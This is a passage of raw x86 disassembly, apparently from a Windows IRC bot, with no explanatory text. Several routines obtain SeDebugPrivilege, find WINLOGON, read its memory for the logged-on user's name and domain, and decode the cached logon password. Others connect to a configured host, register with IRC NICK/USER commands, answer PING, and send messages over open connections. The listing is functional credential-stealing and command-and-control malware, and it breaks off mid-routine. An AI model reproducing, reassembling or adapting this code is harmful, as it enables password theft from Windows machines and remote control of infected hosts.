mov dword_4D4A40, eax
call esi ; GetProcAddress
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D4838, eax
call esi ; GetProcAddress
mov dword_4D4834, eax
call sub_417493
test eax, eax
mov [ebp+arg_0], eax
jz loc_41740D
mov esi, ds:dword_427148
mov edi, 400h
mov ebx, offset dword_4D3830
push edi
push ebx
push offset aUsername ; "USERNAME"
call esi ; GetEnvironmentVariableW
push edi
mov edi, offset dword_4D4030
push edi
push offset aUserdomain ; "USERDOMAIN"
call esi ; GetEnvironmentVariableW
cmp [ebp+var_4], 1
push offset dword_4D4A48
push [ebp+arg_0]
jnz short loc_4173B9
call sub_41761C
jmp short loc_4173BE
; ---------------------------------------------------------------------------
loc_4173B9: ; CODE XREF: sub_4172C1+EFj
call sub_4177C3
loc_4173BE: ; CODE XREF: sub_4172C1+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_417406
cmp dword_4D4A48, 0
jnz short loc_4173ED
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_438540
push 200h
push eax
call sub_41C360
add esp, 18h
jmp short loc_417420
; ---------------------------------------------------------------------------
loc_4173ED: ; CODE XREF: sub_4172C1+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_4173FD
call sub_4178F9
jmp short loc_417402
; ---------------------------------------------------------------------------
loc_4173FD: ; CODE XREF: sub_4172C1+133j
call sub_417990
loc_417402: ; CODE XREF: sub_4172C1+13Aj
pop ecx
push eax
jmp short loc_417412
; ---------------------------------------------------------------------------
loc_417406: ; CODE XREF: sub_4172C1+101j
push offset unk_438508
jmp short loc_417412
; ---------------------------------------------------------------------------
loc_41740D: ; CODE XREF: sub_4172C1+B6j
push offset unk_4384DC
loc_417412: ; CODE XREF: sub_4172C1+143j
; sub_4172C1+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_417420: ; CODE XREF: sub_4172C1+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
push [ebp+var_8]
call ds:dword_427144 ; FreeLibrary
pop ebx
jmp short loc_41744D
; ---------------------------------------------------------------------------
loc_41743A: ; CODE XREF: sub_4172C1+4Ej
push offset unk_4384A8
loc_41743F: ; CODE XREF: sub_4172C1+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41744D: ; CODE XREF: sub_4172C1+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_417474
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409869
add esp, 14h
loc_417474: ; CODE XREF: sub_4172C1+191j
lea eax, [ebp+var_29C]
push eax
call sub_415D38
push [ebp+var_18]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_4172C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417493 proc near ; CODE XREF: sub_4172C1+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, ds:dword_427154
mov ebx, 100h
push edi
push ebx
push 8
call esi ; GetProcessHeap
mov edi, ds:dword_427150
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D483C
push ebp
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_42714C ; RtlFreeHeap
push [esp+28h+var_14]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D483C
test eax, eax
jnz short loc_417580
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_417580
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_417580
loc_41751C: ; CODE XREF: sub_417493+EBj
cmp word ptr [ebx+8], 5
jnz short loc_417573
push 0
push 0
call dword_4D4830
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D4A40
test eax, eax
jnz short loc_417564
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_417598
loc_417564: ; CODE XREF: sub_417493+AAj
test edi, edi
jz short loc_41756F
push edi
call dword_4D4838
loc_41756F: ; CODE XREF: sub_417493+D3j
mov eax, [esp+28h+var_10]
loc_417573: ; CODE XREF: sub_417493+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_41751C
loc_417580: ; CODE XREF: sub_417493+6Dj
; sub_417493+7Aj ...
xor edi, edi
loc_417582: ; CODE XREF: sub_417493+17Dj
push ebp
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_42714C ; RtlFreeHeap
mov eax, edi
loc_417590: ; CODE XREF: sub_417493+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_417598: ; CODE XREF: sub_417493+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_417601
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_4175AE: ; CODE XREF: sub_417493+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_417615
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4175F3
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_4175F3: ; CODE XREF: sub_417493+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_4175AE
loc_417601: ; CODE XREF: sub_417493+10Fj
test edi, edi
jz short loc_41760C
push edi
call dword_4D4838
loc_41760C: ; CODE XREF: sub_417493+170j
mov edi, [esp+28h+var_4]
jmp loc_417582
; ---------------------------------------------------------------------------
loc_417615: ; CODE XREF: sub_417493+13Cj
xor eax, eax
jmp loc_417590
sub_417493 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41761C proc near ; CODE XREF: sub_4172C1+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call ds:dword_42708C ; OpenProcess
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_417645
xor eax, eax
jmp loc_4177C0
; ---------------------------------------------------------------------------
loc_417645: ; CODE XREF: sub_41761C+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
call ds:dword_427160 ; GetSystemInfo
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, ds:dword_427154
push 8
call esi ; GetProcessHeap
mov edi, ds:dword_427150
push eax
call edi ; RtlAllocateHeap
lea ecx, [ebp+var_8]
mov ebx, ds:dword_42715C
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jnz short loc_417695
xor esi, esi
jmp loc_4177B3
; ---------------------------------------------------------------------------
loc_417695: ; CODE XREF: sub_41761C+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
call ds:dword_427158 ; VirtualQueryEx
test eax, eax
jz loc_4177A2
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_4177A2
test [ebp+var_2B], 1
jnz loc_4177A2
push [ebp+var_34]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jz loc_4177A2
loc_4176F8: ; CODE XREF: sub_41761C+112j
push edi
push offset dword_4D3830
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jnz short loc_417720
lea eax, [edi+200h]
push eax
push offset dword_4D4030
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jz short loc_417730
loc_417720: ; CODE XREF: sub_41761C+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_4177A2
jmp short loc_4176F8
; ---------------------------------------------------------------------------
loc_417730: ; CODE XREF: sub_41761C+102j
test edi, edi
jz short loc_4177A2
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call ds:dword_42711C ; FileTimeToLocalFileTime
test eax, eax
jz short loc_41776B
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
call ds:dword_427118 ; FileTimeToSystemTime
test eax, eax
jz short loc_41776B
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_41776B: ; CODE XREF: sub_41761C+12Bj
; sub_41761C+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4D4A54, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D4A4C, eax
mov dword_4D4A50, edi
loc_4177A2: ; CODE XREF: sub_41761C+90j
; sub_41761C+A2j ...
push [ebp+arg_0]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_42714C ; RtlFreeHeap
mov esi, [ebp+var_10]
loc_4177B3: ; CODE XREF: sub_41761C+74j
push [ebp+var_4]
call ds:dword_427070 ; CloseHandle
pop edi
mov eax, esi
pop ebx
loc_4177C0: ; CODE XREF: sub_41761C+24j
pop esi
leave
retn
sub_41761C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4177C3 proc near ; CODE XREF: sub_4172C1:loc_4173B9p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
call ds:dword_42708C ; OpenProcess
test eax, eax
mov [ebp+arg_0], eax
jz loc_4178B5
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call ds:dword_427160 ; GetSystemInfo
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_4178AC
mov edi, ds:dword_427154
loc_41780E: ; CODE XREF: sub_4177C3+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
call ds:dword_427158 ; VirtualQueryEx
test eax, eax
jz short loc_41789A
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_4178A0
test [ebp+var_13], 1
jnz short loc_4178A0
push ecx
push 8
call edi ; GetProcessHeap
push eax
call ds:dword_427150 ; RtlAllocateHeap
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call ds:dword_42715C ; ReadProcessMemory
test eax, eax
jz short loc_41788C
push offset dword_4D3830
push esi
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jnz short loc_41788C
lea eax, [esi+400h]
push offset dword_4D4030
push eax
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jz short loc_4178BC
loc_41788C: ; CODE XREF: sub_4177C3+9Fj
; sub_4177C3+B0j
push esi
push 0
call edi ; GetProcessHeap
push eax
call ds:dword_42714C ; RtlFreeHeap
jmp short loc_4178A0
; ---------------------------------------------------------------------------
loc_41789A: ; CODE XREF: sub_4177C3+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_4178A0: ; CODE XREF: sub_4177C3+71j
; sub_4177C3+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_41780E
loc_4178AC: ; CODE XREF: sub_4177C3+3Fj
push [ebp+arg_0]
call ds:dword_427070 ; CloseHandle
loc_4178B5: ; CODE XREF: sub_4177C3+1Ej
xor eax, eax
loc_4178B7: ; CODE XREF: sub_4177C3+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4178BC: ; CODE XREF: sub_4177C3+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D4A4C, ebx
mov dword_4D4A50, eax
cmp [eax], cl
jnz short loc_4178DE
cmp [eax+1], cl
jz short loc_4178E6
loc_4178DE: ; CODE XREF: sub_4177C3+114j
; sub_4177C3+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_4178DE
loc_4178E6: ; CODE XREF: sub_4177C3+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
call ds:dword_427070 ; CloseHandle
push 1
pop eax
jmp short loc_4178B7
sub_4177C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178F9 proc near ; CODE XREF: sub_4172C1+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D4A48
push esi
mov esi, ds:dword_427154
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi ; GetProcessHeap
push eax
call ds:dword_427150 ; RtlAllocateHeap
mov ecx, dword_4D4A48
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4D4A50
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D4A54
push eax
call dword_4D4834
push [ebp+var_4]
mov edi, offset dword_4D4840
push offset dword_4D3830
push offset dword_4D4030
push [ebp+arg_0]
push offset dword_4386C4
push 200h
push edi
call sub_41C360
add esp, 1Ch
push [ebp+var_4]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_42714C ; RtlFreeHeap
mov eax, edi
pop edi
pop esi
leave
retn
sub_4178F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417990 proc near ; CODE XREF: sub_4172C1:loc_4173FDp
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D4A48
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call ds:dword_427154 ; GetProcessHeap
push eax
call ds:dword_427150 ; RtlAllocateHeap
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D4030
mov edi, 200h
mov esi, offset dword_4D3630
loc_4179D6: ; CODE XREF: sub_417990+FAj
mov eax, dword_4D4A48
add eax, eax
push eax
push dword_4D4A50
push [ebp+var_14]
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D4834
mov eax, dword_4D4A48
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_417A4B
loc_417A13: ; CODE XREF: sub_417990+B3j
cmp [ebp+var_8], 0
jz short loc_417A68
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417A37
cmp byte ptr [ecx+1], 0
jnz short loc_417A37
cmp dl, 20h
jnb short loc_417A31
and [ebp+var_8], 0
loc_417A31: ; CODE XREF: sub_417990+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417A3B
loc_417A37: ; CODE XREF: sub_417990+90j
; sub_417990+96j
and [ebp+var_8], 0
loc_417A3B: ; CODE XREF: sub_417990+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_417A13
cmp [ebp+var_8], 0
jz short loc_417A68
loc_417A4B: ; CODE XREF: sub_417990+81j
push [ebp+var_14]
push offset dword_4D3830
push ebx
push [ebp+arg_0]
push offset dword_4386C4
push edi
push esi
call sub_41C360
add esp, 1Ch
jmp short loc_417A80
; ---------------------------------------------------------------------------
loc_417A68: ; CODE XREF: sub_417990+87j
; sub_417990+B9j
push offset dword_4D3830
push ebx
push [ebp+arg_0]
push offset dword_438714
push edi
push esi
call sub_41C360
add esp, 18h
loc_417A80: ; CODE XREF: sub_417990+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_4179D6
push [ebp+var_14]
push 0
call ds:dword_427154 ; GetProcessHeap
push eax
call ds:dword_42714C ; RtlFreeHeap
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_417990 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AA9 proc near ; CODE XREF: sub_417C61+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CBA54 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_417B25
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB9D4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CBA14 ; inet_addr
cmp eax, esi
jnz short loc_417B0A
push [ebp+arg_0]
call dword_4CBA58 ; gethostbyname
test eax, eax
jz short loc_417B25
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417B0A: ; CODE XREF: sub_417AA9+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB97C ; connect
cmp eax, esi
jnz short loc_417B29
push edi
call dword_4CBA6C ; closesocket
loc_417B25: ; CODE XREF: sub_417AA9+1Bj
; sub_417AA9+58j
mov eax, esi
jmp short loc_417B2B
; ---------------------------------------------------------------------------
loc_417B29: ; CODE XREF: sub_417AA9+73j
mov eax, edi
loc_417B2B: ; CODE XREF: sub_417AA9+7Ej
pop edi
pop esi
leave
retn
sub_417AA9 endp
; =============== S U B R O U T I N E =======================================
sub_417B2F proc near ; CODE XREF: sub_401ACD+324Cp
; sub_401ACD+32B6p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_42A080 ; "\n"
push edi
call sub_41C8A0
pop ecx
mov esi, offset dword_4D4A5C
pop ecx
loc_417B47: ; CODE XREF: sub_417B2F+42j
cmp dword ptr [esi-4], 1
jnz short loc_417B65
cmp dword ptr [esi], 0
jbe short loc_417B65
push 0
push edi
call sub_41B9C0
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CBA24 ; send
loc_417B65: ; CODE XREF: sub_417B2F+1Cj
; sub_417B2F+21j
add esi, 210h
cmp esi, offset dword_4DB17C
jl short loc_417B47
pop edi
pop esi
retn
sub_417B2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B76 proc near ; CODE XREF: sub_417C61+155p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42CDC0 ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41CAD4
pop ecx
mov [ebp+var_20], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_417B9B: ; CODE XREF: sub_417B76+35j
push esi
push 0
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_417B9B
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+var_20], edi
jnz short loc_417BC3
cmp esi, edi
jnz short loc_417BC3
push 1
pop eax
jmp loc_417C5C
; ---------------------------------------------------------------------------
loc_417BC3: ; CODE XREF: sub_417B76+3Fj
; sub_417B76+43j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41CA50
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417BDE
push offset aPongS_0 ; "PONG %s\n"
jmp short loc_417C2C
; ---------------------------------------------------------------------------
loc_417BDE: ; CODE XREF: sub_417B76+5Fj
push offset a433 ; "433"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_417BFF
push esi
push offset a432 ; "432"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_417C5A
loc_417BFF: ; CODE XREF: sub_417B76+76j
push 200h
lea eax, [ebp+var_420]
push edi
push eax
call sub_41BF70
lea eax, [ebp+var_420]
push eax
call sub_417E84
add esp, 10h
lea eax, [ebp+var_420]
push eax
push offset aNickS_1 ; "NICK %s\n"
loc_417C2C: ; CODE XREF: sub_417B76+66j
lea eax, [ebp+var_220]
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
loc_417C5A: ; CODE XREF: sub_417B76+87j
xor eax, eax
loc_417C5C: ; CODE XREF: sub_417B76+48j
pop edi
pop esi
pop ebx
leave
retn
sub_417B76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C61 proc near ; DATA XREF: sub_417E06+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41C500
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4D4A64[esi]
mov dword_4D4A58[esi], edi
push dword_4D4C64[esi]
push eax
call sub_417AA9
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D4A5C[esi], eax
jb loc_417DE6
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41BF70
lea eax, [ebp+var_2008]
push eax
call sub_417E84
lea eax, [ebp+var_4008]
push eax
call sub_417E84
lea eax, [ebp+var_3008]
push eax
call sub_417E84
add esp, 18h
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4D4A5C[esi]
call dword_4CBA24 ; send
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
loc_417D3D: ; CODE XREF: sub_417C61+111j
; sub_417C61+180j
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4D4A5C[esi]
call dword_4CB9EC ; recv
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417DE6
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417D3D
loc_417D74: ; CODE XREF: sub_417C61+17Ej
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_417D9B
cmp al, 0Ah
jz short loc_417D9B
cmp [ebp+arg_0], 0FA0h
jz short loc_417D9B
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417DD5
; ---------------------------------------------------------------------------
loc_417D9B: ; CODE XREF: sub_417C61+11Cj
; sub_417C61+120j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417DD5
push dword_4D4A5C[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_417B76
pop ecx
test eax, eax
pop ecx
ja short loc_417DE6
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417DD5: ; CODE XREF: sub_417C61+138j
; sub_417C61+13Fj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_417D74
jmp loc_417D3D
; ---------------------------------------------------------------------------
loc_417DE6: ; CODE XREF: sub_417C61+40j
; sub_417C61+107j ...
mov dword_4D4A58[esi], ebx
mov esi, dword_4D4A5C[esi]
cmp esi, ebx
jbe short loc_417DFD
push esi
call dword_4CBA6C ; closesocket
loc_417DFD: ; CODE XREF: sub_417C61+193j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_417C61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E06 proc near ; CODE XREF: sub_401ACD+319Bp
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417E7F
loc_417E18: ; CODE XREF: sub_417E06+77j
xor edi, edi
mov eax, offset dword_4D4A58
loc_417E1F: ; CODE XREF: sub_417E06+28j
cmp [eax], ebx
jz short loc_417E30
add eax, 210h
inc edi
cmp eax, offset dword_4DB178
jl short loc_417E1F
loc_417E30: ; CODE XREF: sub_417E06+1Bj
cmp edi, 31h
jz short loc_417E7F
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D4A64[esi]
push eax
call sub_41C890
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D4C64[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D4A58[esi], 1
push eax
push ebx
push edi
push offset sub_417C61
push ebx
push ebx
call ds:dword_427084 ; CreateThread
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417E18
loc_417E7F: ; CODE XREF: sub_417E06+10j
; sub_417E06+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417E06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E84 proc near ; CODE XREF: sub_401ACD+36FDp
; sub_401ACD+3747p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BF70
add esp, 0Ch
call sub_41C2C2
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul ds:dbl_4276D8
call sub_41D174
cmp eax, 1
jnz short loc_417ECE
call sub_41C2C2
call sub_41C2C2
push 66h
cdq
pop ecx
idiv ecx
push off_438A68[edx*4]
jmp short loc_417EE7
; ---------------------------------------------------------------------------
loc_417ECE: ; CODE XREF: sub_417E84+2Fj
call sub_41C2C2
call sub_41C2C2
cdq
mov ecx, 0C0h
idiv ecx
push off_438768[edx*4]
loc_417EE7: ; CODE XREF: sub_417E84+48j
lea eax, [ebp+var_2C]
push eax
call sub_41C890
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41B9C0
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276D0
call sub_41D174
mov ebx, eax
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul ds:dbl_4276C8
call sub_41D174
cmp esi, 2
mov edi, offset a__1 ; "-|`_\\{[]}"
